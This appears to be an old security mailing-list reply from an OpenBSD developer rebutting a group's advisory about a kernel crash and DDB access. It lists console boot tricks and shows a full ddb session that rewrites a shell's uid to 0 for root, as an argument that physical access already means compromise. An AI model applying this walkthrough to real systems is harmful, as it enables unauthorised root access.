Re: OpenBSD Exploit

[Artur Grabowski <art () STACKEN KTH SE>]

rloxley <rloxley () HACKPHREAK ORG> writes:

>       Usually Team HackPhreak keeps our code and research quite private
> until we give lectures in our channel on undernet (#hackphreak). But what
> really annoys us, is when a very big figure in the security community acts
> disrespectful to the people who help build this internet infastructure. This
> person who I speak of, is Theo de Raadt. Theo de Raadt claims that OpenBSD
> hasn't experienced a local root hole in the default install for many years.

Next time, do your homework before making a complete fool out of yourself.
We have stopped claiming that since the two localhost holes we've found
in the last few months.

> During his internal security audits, they find many bugs, yet they just
> hide them, patch them, and never notify the public. This is very unethical
> on the part of the OpenBSD team. I think you guys are lame. What worrys
> Team Hackphreak, is how many other bugs have gone unnoticed.

We've said this many times and we'll repeat this: We don't try to find
exploits, we just fix bugs. Found something exploitable? Fine, publish it
and we'll stop claiming things. Didn't find anything exploitable? Shut up
and do something constructive.

> We have found
> many other exlpoitable holes in previous OpenBSD distributions, that have
> miraculously been patched and never revealed.

Can you back your claim? Or is this just random rambling that you hope will
improve the credibility of your rant?

> Next, there is the "Three
> years without a remote hole in the default install". I hope this advisory
> breaks that aswell, because, technically:
>
>       * Log into the remote host
>       * Grab our exploit
>       * Crash the kernel

Eeeeh? Wow. This is so clueless. Technically I can go and break the fingers
of a sysadmin of any operating system and get the root password. This doesn't
make it a localhost of remote attack.

>       There exists a bug in the UVM code which has blatently slipped passed
> the seemlessly small minded OpenBSD security auditors. The bug exists in the
> anonymous mapping code in UVM. This bug allows for any local user (or remote
> user) to crash the entire OpenBSD system, rendering it completely useless.
> Once the system has crashed, a local user (with access to the terminal) may
> in fact hack the system. The system drops into DDB (man it). DDB allows for
> debugging of the actual kernel. When one has access to the kernel, they can
> do most anything: such as reading disk buffers, reading _copyright, reading
> network mbuf's. So this scales to a most incredible attack, not just a DoS
> (if you have read through this you have now more reason to switch to Linux).

? Tell me you are kidding.
Why bother with all this?
When you have access to the machine:
 - boot it from a floppy.
 - reboot the machine (power switch, reset button, whatever) and:
  - boot it single user by typing "boot -s" in the boot prompt.
  - boot your own kernel (if the sysadmin is clueless enough to let you have
    writeable access to the root (/tmp or /var/tmp)).
  - boot it into DDB by typing "boot -d" in the boot prompt. With ddb you can:
   - binary patch your kernel (say, change the suser function).
   - enable console debugger "w db_console 1"
    - When you have the console debugger enabled, you can break into ddb
      with CTRL-ALT-ESC.
 - steal the hard disk.

>       A very smart attacker will:
>       
>               * Crash the kernel
>               * Assume the location of the box which crashed (@ the colo)
>               * Use DDB to gain god status

No, this would be a very stupid attacker. What can you do with a dead kernel?
How much time will someone allow you to search through the mbufs and disk
buffers? Waste of time.

Let's say you have enabled the console debugger and allowed the machine to
finish booting (after crashing or resetting).
1. start a shell.
$ id
uid=18348(art) [...]
2. get the pid of the shell.
$ echo $$
7911
3. break into ddb.
[halt sent]
Stopped at      _Debugger+0x4:  jmpl            [%o7 + 0x8], %g0
ddb>
4. find the struct proc * for the shell.
ddb> ps/a
  PID  COMMAND          STRUCT PROC *             UAREA *      VMSPACE/VM_MAP
 7911  ksh                 0xf8577600          0xfa0bb000          0xfa00fc30
5. find the p_cred pointer in struct proc.
ddb> exa 0xf8577610
0xf8577610:     f83d4d60
6. find cr_uid in ucred.
ddb> exa 0xf83d4d64
0xf83d4d64:     47ac
7. change the uid.
ddb> w 0xf83d4d64 0
0xf83d4d64                0x47ac        =              0
8. get out of ddb
ddb> c
9. Voila!
$ id
uid=0(root) [...]

5 seconds.

> Section 6 [Come 1 Come ALL]:
>
>       Team Hackphreak invites you to undernet #hackphreak for a great
>       learning experience. Just join us to teach and learn. But remember,
>       HARASSMENT = BAN. www.hackphreak.org/newbie.

If you would spend some time on education instead of irc, maybe you could
find some decent exploit some day.

//art